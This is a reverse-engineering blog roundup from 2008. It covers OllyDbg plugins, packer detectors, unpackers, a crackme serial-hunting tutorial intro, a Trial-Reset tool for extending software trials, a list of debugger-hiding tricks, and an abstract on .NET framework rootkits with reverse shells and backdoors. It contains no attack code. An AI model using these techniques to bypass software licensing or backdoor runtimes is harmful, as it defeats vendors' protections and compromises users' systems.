-Khi một message được nhận, Message Loop giải quyết nó bằng cách gọi Message Handler (một hàm được thiết kế để giúp Message Loop xử lý message)<hầu hết công việc lập trình của mình sẽ tập trung vào đây>

-Message Loop sẽ kết thúc khi nhận được message WM_QUIT (lúc người dùng chọn File/Exit || click vào nút Close || bấm Alt+F4)

-Khi bạn tạo cửa sổ (ứng dụng) Windows sẽ tạo cho bạn một Message Handler mặc định. Bạn sẽ vào đây để sửa chữa giúp ứng dụng phản hồi lại những sự kiện theo ý bạn muốn ->chương trình của bạn.

-Tất cả những control chuẩn đều như thế. Lấy một button làm ví dụ: khi nó nhận WM_PAINT message nó sẽ vẽ button; khi bạn click chuột trái lên nó sẽ nhận WM_LBUTTONDOWN message và nó sẽ vẽ hình button bị nhấn xuống; khi buông chuột ra nó nhận WM_LBUTTONUP message và sẽ vẽ lại button bình thường.

-Tên của window message thường có dạng WM_ và hàm để xử lý message đó thường có dạng On. Ví dụ hàm xử lý WM_SIZE message là OnSize.

-Message thường có hai tham số lưu trữ thông tin về sự kiện(32 bit): lParam kiểu LONG và wParam kiểu WORD. Ví dụ: WM_MOUSEMOVE sẽ trữ tọa độ chuột trong một tham số còn tham số kia sẽ có cờ hiệu để ghi nhận trạng thái của phím ATL, Shift, CTRL và những nút trên con chuột.

-Message có thể trả về một giá trị giúp bạn gửi dữ liệu ngược trở về chương trình gửi nó. Ví dụ: WM_CTLCOLOR message chờ bạn trả về một HBRUSH (khi dùng AppWizard để tạo nhanh ứng dụng bạn chú ý những hàm có dạng On… và nhận xét những kiểu trả về của nó, bạn sẽ hiểu hơn về cơ chế liên kết giữa các thành phần ứng dụng với nhau)

Nguồn : http://www.eco-blue.net/index.php?showtopic=571&mode=threaded&pid=2527

……….
……….

Download toàn bộ bài viết :

ollydbg_tut12

Best Regards

kienmanowar

Today I would like to share with you a really great plugin for OllyDbg (a 32-bit assembler-level, analyzing debugger for Windows).

The plugin is OllySocketTrace from Harmony Security. Its job is to trace the socket operations performed by a process. It records all buffers sent and received. It also records all parameters and return values, and the trace is highlighted with a unique color for each socket being traced.

Here is a screen shot of the plugin in action:

I find this tool, together with Wireshark, very handy when I’m analyzing and reverse engineering unknown protocols. Allow me to show you how I use it. In our work here at Websense Security Labs, we frequently use IDA Pro. When IDA Pro runs, it sends packets over the LAN. We can use OllySocketTrace to see what IDA Pro sends over the network and why.

Here is a screen capture of the socket events that IDA Pro generates.

We can see that IDA Pro uses the UDP protocol to send packets. We can also see in the very clear presentation, how many packets are sent and to where.
But this wonderful plugin doesn’t stop there, it also includes a Hint section to help us to understand even more about what is going on.

For example, we can see that IDA Pro broadcast a UDP packet over the LAN on port 23945, and that it is waiting for an answer.

The reason that it’s waiting is that it is checking to see if another IDA Pro session is running and if it has a valid licence.

Game over!

Security Researcher: Moti Joseph

PEiD detects most common packers, cryptors and compilers for PE files. It can currently detect more than 600 different signatures in PE files.

PEiD is special in some aspects when compared to other identifiers already out there!

1. It has a superb GUI and the interface is really intuitive and simple.
2. Detection rates are amongst the best given by any other identifier.
3. Special scanning modes for *advanced* detections of modified and unknown files.
4. Shell integration, Command line support, Always on top and Drag’n'Drop capabilities.
5. Multiple file and directory scanning with recursion.
6. Task viewer and controller.
7. Plugin Interface with plugins like Generic OEP Finder and Krypto ANALyzer.
8. Extra scanning techniques used for even better detections.
9. Heuristic Scanning options.
10. New PE details, Imports, Exports and TLS viewers
11. New built in quick disassembler.
12. New built in hex viewer.
13. External signature interface which can be updated by the user.

Download : http://www.peid.info/files/PEiD-0.95-20081021.zip

Trial-Reset is an registry cleaning tool. The main function of Trial-Reset is remove the keys generated by commercial and freeware protector.Trial-Reset doesn’t crack the program but only extends the Trial period.

History

What’s new v3.4 Final (Public):

-Updated support for WinLicense (Ring-0 Protection)

What’s new v3.3 (Public):

-Added support for License Protector 2.x

-Updated support for Enigma Protector 1.4x

-Updated support for ActiveMark 6.x

-Minor bugs fixes

What’s new v3.2 (Public):

-Updated support for PCGuard 5.02

-Add Autocleaning at Startup

-Fixed ExeCryptor 2.x bug

-Minor bugs fixes

What’s new v3.01 Final (Public):

-Fixed graphical problem

What’s new v3.0 Final (Public):

-Update Backup command

-Updated support for Obsidium 1.3x

-Minor bugs fixes

What’s new v3.0 RC9 (Public):

-Added support for ProActivate 1.x

-Update ASProtect 2.x

-Added Plugin Icon

What’s new v3.0 RC8 (Public):

-Added support for NTkrnl Protector 0.x

-Fixed junction loop

-Fix Vista x64 bugs

Download here:

http://rapidshare.com/files/156909058/Trial-Reset-34Final.rar.html

Một cái đầu lạnh để vững vàng, một trái tim đỏ lửa để yêu và làm việc hết mình!

I. Giới thiệu chung

Chào các bạn, hôm nay chúng ta lại gặp nhau ở phần 13 của loạt bài viết về Olly :) . Vẫn còn rất nhiều phần khác nữa tới đây, chỉ sợ sức lực tôi có hạn không thể viết hết được thôi.. khà khà. Trong toàn bộ 12 bài viết trước, tôi đã lần lượt giới thiệu cho các bạn về Ollydbg, các kiến thức cơ bản về ASM, các câu lệnh thường được sử dụng, cách patch chương trình cũng như các kiểu BP từ cơ bản đến nâng cao trong Olly và còn nhiều thông tin khác nữa…. Tôi hi vọng rằng qua 12 bài viểt đó các bạn đã tự trang bị cho mình những kĩ năng cơ bản nhất để làm việc với Olly, cũng như tích lũy được những kinh nghiệm để có thể làm việc tiếp với những bài viết chuyên sâu tiếp theo của loạt tutor này. Vậy ở phần 13 này chúng ta sẽ làm gì nhỉ? Thực ra là phần 13 này không có trong kịch bản của lão Rincardo đâu, mà là tự tôi viết. Vì trong phần 12 của lão, cuối bài lão có nói lão sẽ xử lý Crackme Cruehead để tóm được Serial nhưng rồi lão lại không viết ở phần 13, thay vào đó lão đi xử lý các crackme khác. Cho nên tôi quyết định tự tay xử lý Crackme này để phục vụ các bạn :) . Rất nhiều điều thú vị đang nằm ở phía trước…. N0w….L3t’s F1nish H1M !!!!!!!

II. Let’s Finish Him :)

Nói là xử lý nhưng chúng ta phải làm thế nào nhỉ? Người có kiến thức và kinh nghiệm thì bảo : “Hãy kiểm tra chương trình trước xem có bị pack bởi packer nào không? Nếu bị pack thì giải quyết packer trước rồi tính tiếp. Còn nếu không bị pack thì quá khỏe, chạy thử chương trình xem nó hoạt động ra sao và tìm kiếm thông tin. Sau khi có được những thông tin quan trọng thì load chương trình vào Olly, tìm các cách để tiếp cận, đặt BP ở những điểm mấu chốt, sau đó trace code, comment những chỗ quan trọng, nếu fish được serial thì tốt, còn không thì tìm ra thuật toán và code keygen v..v..Bạn hãy tự mình thực hành đi đã, nếu bị bí chỗ nào hãy post lên để hỏi!”

Những người biết thì thưa thớt nhưng lại thích khoe khoang cũng phán đại :”Thì load vào Olly, tìm cái chuỗi liên quan đến Nag ấy, rồi đặt BP chứ còn làm gì nữa! Không làm được thì show code lên đây tôi giúp cho v..v..”

Riêng cá nhân của tôi thì thấy rằng: “Phải tự mình đúc kết các kinh nghiệm trước khi lâm trận cái đã, khi bạn chưa biết gì mà đã vội nhảy vào trận chiến thì chẳng khác nào lấy trứng chọi đá. Vậy kinh nghiệm ở đâu ra? Kinh nghiệm có được khi bạn đọc những bài viết của người khác, có được khi bạn thực hành với những trường hợp tương tự nhưng bạn thử nghiệm những hướng tiếp cận khác ,kinh nghiệm có được khi bạn tham gia thảo luận một chủ đề kĩ thuật v..v.. Để rồi từ đó bạn rút tỉa dần dần và tích lũy lại thành kinh nghiệm của riêng mình.Rồi sẽ đến một lúc nào đó, lại có người muốn ta chia sẻ kinh nghiệm của mình. Không ai có đủ thời gian và kiên nhẫn để chỉ dạy từng bước cho bạn, bạn phải tự mình tìm tòi và khám phá, khi nào bạn cảm thấy thực sự cần đến sự giúp đỡ tôi nghĩ lúc đó sẽ có người sẵn sàng giúp bạn :)

Quay trở lại phần chính của bài viết này là giải quyết crackme CrueHead để tỉm ra môt valid serial. Một hướng tiếp cận cơ bạn sẽ như tôi trình bày bên dưới đây, đương nhiên không nằm ngoài khả năng có những cách tiếp cận khác, điều đó nằm ở sự khám phá của các bạn :) .

1. Kiểm tra xem chương trình có bị pack hay không?

Pack file nghĩa là như thế nào? Tại sao phải kiểm tra xem có bị pack? Hiểu một cách đơn giản thì pack file là nén file thực thi (PE file : .dll, .exe, .ocx, v..v..) để làm giảm kích thước của file, việc nèn này ngoài việc nén code, data của chương trình thì trình packer còn thêm cả đoạn decompress stub vào PE file để làm nhiệm vụ unpack chương trình trong memory. Việc nén này không nên hiểu như ta dùng Winrar/Winzip để nén file, vì Winrar/Winzip sau khi nén file xong ta không thể thực thi file đó được mà ta phải làm một bước là extract file, sau đó mới run file.

Khi một file không bị pack thì lúc ta load chương trình vào Olly ta sẽ dừng lại tại EP của chương trình (hay còn gọi là OEP gốc). Còn nếu chương trình đã bị pack, khi ta load vào Olly ta sẽ dừng lại tại EP của packer chứ không phải là EP của chương trình. Do đó nhiệm vụ của chúng ta là phải unpack chương trình trước đã (tức là ta đi tìm lại OEP gốc), rồi mới thực hiện các hướng tiếp cận khác. Đó chính là lý do tại sao ta phải kiểm tra chương trình. Vậy ta kiểm tra như thế nào? Tôi thường sử dụng một số chương trình sau để check :

…………….

Download toàn bộ bài viết tại đây :

ollydbg_tut13

Regards

kienmanowar

Cả khu nhà chìm trong biển nước, rác rười và đủ các thứ linh tinh trôi nổi lềnh phềnh :) .Nhìn mà thấy hãi cảnh “Hà Lội”, không dám đi đâu, hoàn toàn cô lập. Điện nước thì bị cắt lên cắt xuống :| . Mượn tạm máy của vợ chụp demo mấy kiểu ảnh post lên cho mọi người ngắm chơi :D

RDG Packer Detector v0.6.6 2k8

Posted: November 12, 2008 in RE Tools

New skin!

-Detection improved for Fast and Powerful Mode!
-Signatures Database Up-to-date!
-Heuristic Detection of Binders
-Overlay Detection and Extraction!
-Automatic Check and Update!
-MD5 Hash Detection Very Fast!
-Multiple Support for Plug-ins, for RDG Packer Detector and for other detectors!
-Multiple Detection of formatted MPG,GIF,RAR,ZIP,MP3 etc.
-Detection and extraction of associated files!.

Download here:

http://www.egrupos.net/grupo/rdgsoft/ficheros/3/verFichero/29/RDG%20Packer%20Detector%20v0.6.6%202k8.rar

This Olly is moded by DeRox!

OllyDbg 1.10:
———————————————————————-
+ New look
+ Modified code for almost perfect hiding
+ Win32 API help reference
+ Modified code for expanded windows
+ Modified code for %s overflow RCE exploit
+ Modified code to make symbols load properly
+ OllyDRX Plugin Patcher
+ Plugin Development Kit & Script Editor v2.0

Tools:
———————————————————————-
DUP2.18.3 + DRX Skins
LordPE Deluxe b
PEiD 0.95
Resource Hacker 3.4.0.79
.NET Reflector 5.1.4.0
DeDe 3.50.02 Build 1619
ASCII-Tabelle (PDF)
Universal Extractor 1.6
VB Decompiler Lite 5.0
Import Reconstructor 1.7c
Wark 1.3
PE Tools 1.5.400
VeoVeo 3.4
TeLock 0.98
MASM v10
WinASM v5.1.5.0
CrypTool 1.4.21
Hiew 7.26 *removed*
W32Dsm 8.93 + BratPatch 3 final *removed*

Plugins:
———————————————————————-
+BP-OLLY Ver 2.0 beta 4
Olly Advanced 1.25 Master Edition
AnalyzeThis! v0.1
Bookmark v1.06
CommandBar 3.20.110
ODbgScript v1.64.3
OllyDump v3.00.110
Olly TBar Manager (Gold)
Olly More Menu 1.3b
DataRipper 1.3
CleanupEx 1.12.108

Scripts:
———————————————————————-
629 Scripts

Unpackers:
———————————————————————-
Stripper 2.11 RC2
DilloDIE 1.6
Unpacker Execryptor 1.0 RC1
UnThemida 2.0
Themida/WinLicense Unpacker 2.0

Greetz goes out 2:
———————————————————————-
Complete SnD Team (4 been right here tongue.gif )
Special: Fungus (4 Olly Redux tut), Lena151 (4 her great tuts 4 newbs), Oleh Yuschuk (4 OllyDbg), Teddy Rogers (4 his board), Diablo2002 (4 DuP), Ecliptic (4 his nice art wink.gif ), ARTeam (4 great tuts) and all they have been coded scripts plugins & tools. And all other i forgot. rolleyes.gif
Very special thx: my family & friends.

Download here:

http://rapidshare.com/files/163191823/OllyDRX-final.rar

Pass to unrar: derox

DataRipper 1.3 Ollydbg Plugin

Posted: November 14, 2008 in RE Tools

Ollydbg plugin – Data Ripper 1.3

9th November 2008 – 1.3 release

1) Fixed Delphi format bug
2) Added Visual Basic and Ascii formats

26th February 2006 – 1.21 release

1) fixed window handle bug

28th January 2006 – 1.2 release

1) Improved handling of Ollydbg close when Data Ripper is open.
2) Compatiblity with Ollydbg Shadow
3) Data Ripper dialog stays on top (option)

17th January 2006 – 1.1 release

1) “Data Ripper” menu added to dissassembler window. Code bytes can now be ripped as data.
2) Added option to override the warning to save file.
3) Added option to rip data immediately Data Ripper is launched using previous settings.
4) Added “Apply” function to Settings dialog.
5) Handled issue with multiple plugin instances.

10th January 2006 – first release

Data Ripper is an easy way to rip any kind of data from an app being debugged using Ollydbg. The ripped data can be formatted and “declared” in the syntax of the popular programming languages MASM, C/C++ and Delphi.

Data Ripper is useful whenever you need to rip data, tables etc out of an app so the data can be used in another compiled program.

NOTES

1) To install copy DataRipper.dll to the Ollydbg plugin directory

2) Data Ripper maintains settings between debugging sessions in the Ollydbg.ini file. Temporary data is stored in a file DataRipper.tmp.

3) Data Ripper can rip data up to the Windows size limit.

HELP

Basic Use

1) Highlight the data to be ripped in any memory window of Ollydbg.

2) Right click and select “Data Ripper” in the Ollydbg popup window

3) The Data Ripper dialog will popup with an empty file “untitled”

4) Select the “Settings” dialog and check the “Language” “Format” and other settings are ok. You can specify

Language  : ASM, C/C++, Delphi, Comma Separated Values CSV or Data String.
“Declare” : indicates whether the programming language declaration information header
and trailer are required
Format    : select bytes, words or dwords. Note if the number of data bytes selected in Ollydbg
does not correspond exactly with the word or dword format setting, trailing bytes
are set to zero.
Hex       : if set output is in hexadecimal otherwise decimal
Items/Line: how many bytes, words, dwords per line (Max 255)
Indent    : spaces indented on each line (max 255)

5) Press “Rip Data” and the app data will be ripped and formatted into a Data Ripper file.

6) Data Ripper provides basic “richedit” editing functions. After any editing, merging with other files etc is done, save the ripped data file.

7) If you want to change the langugage, format, items/line etc, open up the “Settings” dialog, “Save” the new settings and press “Rip Data” again. Data Ripper will ask you if you want the save the file that is already there before the reformatted data is displayed.

8) Close Data Ripper.

Report any problems to http://www.sndforum.da.ru

Ziggy
January 2006

Link download:

http://www.tuts4you.com/download.php?view.42

Trojan.Zhelatin.Pk Reverse Engineering

From Evilcry:
I’ve released a paper on Trojan.Zhelatin.pk RCE Analysis, that can be downloaded

http://evilcry.netsons.org/tuts/Mw/Zhelatin.pdf

Best Regards

.NET Framework Rootkits

Posted: November 14, 2008 in Other Tutorials

This page covers a new method that enables an attacker to change the .NET language, and to hide malicious code inside its core.

Abstract

This paper introduces a new method that enables an attacker to change the .NET
language.

The paper covers various ways to develop rootkits for the .NET framework, so that
every EXE/DLL that runs on a modified Framework will behave differently than what
it’s supposed to do. Code reviews will not detect backdoors installed inside the
Framework since the payload is not in the code itself, but rather it is inside the
Framework implementation. Writing Framework rootkits will enable the attacker to
install a reverse shell inside the framework, to steal valuable information, to fixate
encryption keys, disable security checks and to perform other nasty things as
described in this paper.

This paper also introduces “.Net-Sploit” – a new tool for building MSIL rootkits that
will enable the user to inject preloaded/custom payload to the Framework core DLL.

………

Download full paper here:

http://www.applicationsecurity.co.il/LinkClick.aspx?fileticket=ycIS1bewMBI%3d&tabid=161&mid=555

Regards

FastScanner v2.0 by AT4RE

Posted: November 17, 2008 in RE Tools

FastScanner v2.0 by AT4RE

Description:
FastScanner is a Detector for most packers , cryptors and compilers for PE Files Programmed in ASM and designed for ‎fast access to most needed plugins.

FastScanner v2.0 Change log:
11/15/2008

1- Arabic interface now available.
2- New Skin for both the scanner and the PE-Editor.
3- Bug Fixed in the scanning algorithm. Now, it’s more powerful.
4- Updated signature file to detect most compilers, packers and protectors.
5- Add a TotalScan button in the scanner.
6- Add a Disasm button in the scanner.
7- Add a sections viewer button in the scanner’s main window.
8- Display the signature file date in the scanner’s main window.
9- Add a new plugin to detect and save overlay.
10- Add a new plugin => Signs-Imitator.
11- Bug fixed in the Add-Sig plugin.
12- Big update in the PE-Editor plugin:
a- section viewer and editor ( add section – delete section – edit section header).
b- new buttons to view exports and imports table.
c- new tab to view and edit the PE’s directory table.
d- new tab to view and dump any process from memory.
e- make a backup copy of the modified files.

Download here:

http://zeak47.freehostia.com/at4re_fs_2_eng.html

Reversing MFC Applications

Posted: November 18, 2008 in Other Tutorials

MFC Programs seems to be the mainstream of Win32 GUI programming these days, other than QT applications that are rapidly gaining popularity recently. A few days ago, I suddenly got interested in embedded system reversing but was confronted by the task to reverse an application that uploads the firmware image to the embedded system. As expected, the application was MFC, and I was a bit taken back. I wasn’t that confident in MFC reversing.

I’ve seen many people (including me) reverse MFC applications in the same way as reversing pure Win32 API applications. Put breakpoints on certain APIs, search for a target string, search for a certain constant, etc etc… There is no problem with that. The same principles used in non-MFC app reversing can also be applied to MFC apps except…

Except you can’t find the Window Procedure within the application. Window Procedures are like the root function of where all the messages are processed, and when you know where it’s located, you can always track down your target in a root to descendant kind of approach. It may take more time than the ‘start from a certain function, string etc’ approach, but when the later approach may sometimes make you get lost in a labyrinth of code and functions, the formal usually never goes wrong.

The problem is, all the WndProc code is managed by the MFC framework, and the framework gives a slight twist to it to make it work in a different process than what we already know about Window Procedures. The principles are the same, but the structure is a little bit different, and the Message dispatcher code is no longer handled by the programmer. The question is, where is that code and what does it look like? And how could we use it to our advantage?

That will be the main focus of this tutorial, and I will start with showing the usual approach, and point out the problems that may occur in certain situations.

Download here:

http://www.tuts4you.com/download.php?view.2509

Introduction Into Windows Anti-Debugging – Josh Jackson

Anti-Reverse Engineering Guide

Author : Josh Jackson + Nicolas Falliere

Introduction

In recent times, tools for use in reverse engineering have flourished. There are plenty of resource sites for those who are interested in the field, and the field is very much worth the time invested in it. I found that learning C++ while introducing myself to reverse engineering and assembly language really helped me to understand how code works, and improved my C/C++ coding and my ASM coding at the same time. However, reverse engineering also has a darker side. Crackers are individuals who use their knowledge of reverse engineering to reverse another programmer’s code, often to decode how a serial is processed or to remove a protection from a trial. Naturally, a pioneer will want to protect their investment; this can be done with tools such as Themida, Execryptor, Armadillo, and even a protection system coded by a CodeProject resident Jim Charles named Eagle Protector. This article is meant to inform individuals of some anti-debugging techniques, and is not meant to be all-inclusive, nor does it explore some of the more complex routines that commercial protectors use.

Background

An individual reading this should have a solid understanding of ASM, how computers handle memory, the Win32 Debugging API, and at least some knowledge of Windows internals. This code most likely will not work on any *nix platform due to the fundamental differences of the Operating Systems. Any other knowledge in the field of reverse engineering is also a plus. One great thing about learning and implementing anti-debugging is that you also develop your reversing skills, which is a great plus to anyone interested in the field. Along with the other mentioned subjects, an interested reader should also be familiar with the tools used for binary application reversing such as OllyDBG, WinDBG, SoftICE, IDA Pro, and others. Here are some links to some information that is important for readers to be familiar with before reading the following text:

Download tutorial:

http://www.tuts4you.com/download.php?view.2516

Best Regards

OllyEye plug-in

Posted: November 26, 2008 in OllyEye plug-in, Other Tutorials

OllyEye plug-in

Today, I would like to present a new plug-in that I wrote called OllyEye. I wrote the plug-in to speed up the process of hunting vulnerability in applications. Here is a screenshot of the OllyEye plug-in:

How does OllyEye work?

Sometimes we want to find out where in a module the code parsing is done. In the example below, we want to find the code that parses the QuickTime video codecs that are in Windows media player.  We know that the codecs support the raw, rle, jpeg, mjpb, and rpza tags, so all we need to do is to search for those tags in our module–in this case, the ”quartz.dll” module.

The OllyEye hunter knows that it should check for the video codec’s tags such as code.equals (“rpza”) and that in assembly it should be done with the CMP command that represents it. For this reason, it searches for the CMP command that matches the ‘rpza’ keyword.  Here we can see the results of the OllyEye when the hunter searches for such patterns:

At the address 0x748FD28B, we see CMP EAX,617A7072. The ASCII translation of 617A7072h is ‘azpr’, which is one of the QuickTime video codec’s supported tags. Now all the hunter has to do is set a breakpoint there, load the movie file, and wait for the breakpoint to be triggered.

A QuickView in IDA shows us that our address, 0x748FD28B, is inside the QTDec::CheckInputType when the QTDec is QT=QuickTime and Dec= Decoder. Based on this information, we know that we reviewed part of QuickView codec’s decoder.

Attached here is the source code of the OleEye plugin. You are welcome to extend it and to shoot us the update.

Game 0ver.

Security Researcher: Moti Joseph

Free issues : Linux+ and Hakin9

Posted: November 27, 2008 in Other Tutorials

* Ubuntu Installation&Configuration…
* OpenNMS on Ubuntu Linux…
* Shell Scripting…
* Virtual X Sessions…
* File System Optimization for High Load and Stability…
* An Introduction to Digital Forensics…
* Ipv6 Approach for DoS Attacks over IP Telephony…
* Secure your System with Afick Intrusion Detection Scanner…
* Scaling Linux Servers…
* MapFS: The Data Center Storage Optimizer…
* Sidebar: Gearing Up…
* Favorite Media Programs in Ubuntu…
* Tricks&Tips…
* The “killer feature” of Freedomware…
* Should Critical Infrastructure be Built on Linux?…

Download here :Linux+

———————-

hakin9 4/2008 (17) – File Inclusion Attacks:

BASICS
File Inclusion Attacks
ALI RECAI YEKTA, ERHAN YEKTA
After reading this article, you will come to know about File Inclusion Attacks’ methods and defense techniques against them.

ATTACK
Hacking RSS Feeds: Implementing RSS Feeds
ADITYA K. SOOD
This paper discusses the infection vectors that occur due to insecure coding by developers and includes other related security issues. It provides a detailed analysis of the errors and efficient measures to correct those errors, while keeping in mind the original security concerns.

Alternate Data Streams or “Doctor Jekyll and Mr. Hyde” Move to NTFS (Part II)
LAIC AURELIAN
The second part of the ADS series. This article reveals everything you should know about ADS, focusing on its practical use. You will learn how to create, use and delete ADS.

All in Memory Execution under Linux
ANTHONY DESNOS, FREDERIC GUIHERY, MICKAEL SALAUN
A vaery useful paper on all in memory execution under Linux. The authors show its rules, all in memory’s tools and protection methods against the execution.

The Real Dangers of Wireless Networks
STEPHEN ARGENT
The paper explains how to break into Wireless Networks and use Ettercap, Driftnet and Wireshark for sniffing. While reading this article, you will learn how to manipulate packets and view MSN conversations over the network.

DEFENSE
How to Deploy Robustness Testing
MIKKO VARPIOLA, ARI TAKANEN
In this article authors explore various means of testing for the security mistakes, with the focus on deploying robustness testing into the software development lifecycle.

Protecting Data in a Postgres Database
ROBERT BERNIER
Part III of the three-part series on Postgres. This article addresses the issue of restricting access to data via the use of data encryption. After reading this paper, you will manage to use cryptographic functions obtained from two contributions modules.

Download here : Hakin9_File Inclusion Attacks

Best Regards
kienmanowar

MagicHideOllyDbg 1.01

Posted: December 2, 2008 in RE Tools

MagicHideOllyDbg 1.01

Author : EasyStudy

————-

Here’s a quick list of MagicHideOllyDbg’s function:

- erases debug-heap padding
- erases BeingDebugged flag in the PEB
- erases NtGlobalFag in the PEB
- adjusts heap flags to default values
- disables kernel32!OutputDebugStringA() function
- forces kernel32!CheckRemoteDebuggerPresent() to always return an error
- forces kernel32!UnhandledExceptionFilter() to ignore debugger presence
- forces kernel32!Process32NextW() to return immediately
- forces ntdll!NtSetInformationThread() to ignore HideThreadFromDebugger class
- forces ntdll!NtQueryInformationProcess() function to ignore ProcessDebugPort class
- intercepts ntdll!NtQuerySystemInformation() function but does nothing with it
- randomises “CPU – ” text in OllyDbg

Download here: http://www.tuts4you.com/request.php?2521

Regards

TiGa’s Video Tutorial Site – Reverse Engineering Using IDA Pro

Tiga’s new website hosting his/her reverse engineering video using IDA Pro

http://www.woodmann.com/TiGa/idaseries.html

Visual Debugging with IDA – The Interactive Disassembler
http://www.woodmann.com/TiGa/packages/TiGa-vid1.zip

Remote Debugging with IDA Pro
http://www.woodmann.com/TiGa/packages/TiGa-vid2.zip

Debugging a faulty application with IDA Pro
http://www.woodmann.com/TiGa/packages/TiGa-vid3.zip

How to Solve Crackmes for Dummies in Video
http://www.woodmann.com/TiGa/packages/TiGa-vid4.zip

x64 Disassembling Primer and fixing obfuscated APIs
http://www.woodmann.com/TiGa/packages/TiGa-vid5.zip

TLS-CallBacks and preventing debugger detection with IDA Pro
http://www.woodmann.com/TiGa/packages/TiGa-vid6.zip

Unwrapping a Flash Video Executable (exe2swf)
http://www.woodmann.com/TiGa/packages/TiGa-vid7.zip

Stop fishing and start keygenning!
http://www.woodmann.com/TiGa/packages/TiGa-vid8.zip

Alien Autopsy rev. 2008
http://www.woodmann.com/TiGa/packages/TiGa-vid9.zip

Unpacking deroko’s x64 UnpackMe
http://www.woodmann.com/TiGa/packages/TiGa-vid10.zip

Solving pnluck’s x64 CrackMe
http://www.woodmann.com/TiGa/packages/TiGa-vid11.zip

Regards

Windows Sysinternals Suite Build 2008.12.11

The Sysinternals Troubleshooting Utilities have been rolled up into a single Suite of tools. This file contains the individual troubleshooting tools and help files. It does not contain non-troubleshooting tools like the BSOD Screen Saver or NotMyFault. Microsoft acquired Sysinternals in July, 2006. Whether you’re an IT Pro or a developer, you’ll find Sysinternals utilities to help you manage, troubleshoot and diagnose your Windows systems and applications. If you have a question about a tool or how to use them, please visit the Sysinternals Forum for answers and help from other users and our moderators.

The Suite is a bundling of the following selected Sysinternals Utilities:
* AccessChk: This tool shows you the accesses the user or group you specify has to files, Registry keys or Windows services.
* AccessEnum: This simple yet powerful security tool shows you who has what access to directories, files and Registry keys on your systems. Use it to find holes in your permissions.
* AdExplorer: Active Directory Explorer is an advanced Active Directory (AD) viewer and editor.
* AdInsight: An LDAP (Light-weight Directory Access Protocol) real-time monitoring tool aimed at troubleshooting Active Directory client applications.
* AdRestore: Undelete Server 2003 Active Directory objects.
* Autologon: Bypass password screen during logon.
* Autoruns: See what programs are configured to startup automatically when your system boots and you login. Autoruns also shows you the full list of Registry and file locations where applications can configure auto-start settings.
* BgInfo: This fully-configurable program automatically generates desktop backgrounds that include important information about the system including IP addresses, computer name, network adapters, and more.
* BlueScreen: This screen saver not only accurately simulates Blue Screens, but simulated reboots as well (complete with CHKDSK), and works on Windows NT 4, Windows 2000, Windows XP, Server 2003 and Windows 9x.
* CacheSet: CacheSet is a program that allows you to control the Cache Manager’s working set size using functions provided by NT. It’s compatible with all versions of NT.
* ClockRes: View the resolution of the system clock, which is also the maximum timer resolution
* Contig: Wish you could quickly defragment your frequently used files? Use Contig to optimize individual files, or to create new files that are contiguous.
* Ctrl2cap: This is a kernel-mode driver that demonstrates keyboard input filtering just above the keyboard class driver in order to turn caps-locks into control keys. Filtering at this level allows conversion and hiding of keys before NT even “sees” them. Ctrl2cap also shows how to use NtDisplayString() to print messages to the initialization blue-screen.
* DebugView: Another first from Sysinternals: This program intercepts calls made to DbgPrint by device drivers and OutputDebugString made by Win32 programs. It allows for viewing and recording of debug session output on your local machine or across the Internet without an active debugger.
* DiskExt: Display volume disk-mappings
* DiskView: Graphical disk sector utility
* Diskmon: This utility captures all hard disk activity or acts like a software disk activity light in your system tray.
* Du: View disk usage by directory
* EFSDump: View information for encrypted files
* Filemon: This monitoring tool lets you see all file system activity in real-time.
* Handle: This handy command-line utility will show you what files are open by which processes, and much more.
* Hex2dec: Convert hex numbers to decimal and vice versa.
* Junction: Create Win2K NTFS symbolic links
* LDMDump: Dump the contents of the Logical Disk Manager’s on-disk database, which describes the partitioning of Windows 2000 Dynamic disks.
* ListDLLs: List all the DLLs that are currently loaded, including where they are loaded and their version numbers. Version 2.0 prints the full path names of loaded modules.
* LiveKd: Use Microsoft kernel debuggers to examine a live system.
* LoadOrder: See the order in which devices are loaded on your WinNT/2K system
* MoveFile: Allows you to schedule move and delete commands for the next reboot.
* LogonSessions: List the active logon sessions on a system.
* NewSID: Learn about the computer SID problem everybody has been talking about and get a free computer SID changer, NewSID.
* NTFSInfo: Use NTFSInfo to see detailed information about NTFS volumes, including the size and location of the Master File Table (MFT) and MFT-zone, as well as the sizes of the NTFS meta-data files.
* PageDefrag: Defragment your paging files and Registry hives!
* PendMoves: Enumerate the list of file rename and delete commands that will be executed the next boot
* Portmon: Monitor serial and parallel port activity with this advanced monitoring tool. It knows about all standard serial and parallel IOCTLs and even shows you a portion of the data being sent and received. Version 3.x has powerful new UI enhancements and advanced filtering capabilities.
* Process Explorer: Find out what files, registry keys and other objects processes have open, which DLLs they have loaded, and more. This uniquely powerful utility will even show you who owns each process.
* Process Monitor: Monitor file system, Registry, process, thread and DLL activity in real-time.
* ProcFeatures: This applet reports processor and Windows support for Physical Address Extensions and No Execute buffer overflow protection.
* PsExec: Execute processes with limited-user rights.
* PsFile: See what files are opened remotely.
* PsGetSid: Displays the SID of a computer or a user.
* PsInfo: Obtain information about a system.
* PsKill: Terminate local or remote processes.
* PsList: Show information about processes and threads.
* PsLoggedOn: Show users logged on to a system
* PsLogList: Dump event log records.
* PsPasswd: Changes account passwords.
* PsService: View and control services.
* PsShutdown: Shuts down and optionally reboots a computer.
* PsSuspend: Suspend and resume processes.
* PsTools: The PsTools suite includes command-line utilities for listing the processes running on local or remote computers, running processes remotely, rebooting computers, dumping event logs, and more.
* RegDelNull: Scan for and delete Registry keys that contain embedded null-characters that are otherwise undeleteable by standard Registry-editing tools.
* RegHide: Creates a key called “HKEY_LOCAL_MACHINESoftwareSysinternalsCan’t touch me!0″ using the Native API, and inside this key it creates a value.
* Regjump: Jump to the registry path you specify in Regedit.
* Regmon: This monitoring tool lets you see all Registry activity in real-time.
* RootkitRevealer: Scan your system for rootkit-based malware
* SDelete: Securely overwrite your sensitive files and cleanse your free space of previously deleted files using this DoD-compliant secure delete program.
* ShareEnum: Scan file shares on your network and view their security settings to close security holes.
* Sigcheck: Dump file version information and verify that images on your system are digitally signed.
* Streams: Reveal NTFS alternate streams
* Strings: Search for ANSI and UNICODE strings in binaryimages.
* Sync: Flush cached data to disk
* TCPView: Active socket command-line viewer.
* VolumeId: Set Volume ID of FAT or NTFS drives
* Whois: See who owns an Internet address.
* Winobj: The ultimate Object Manager namespace viewer is here.
* ZoomIt: Presentation utility for zooming and drawing on the screen.

Sysinternals Suite 2008-12-11
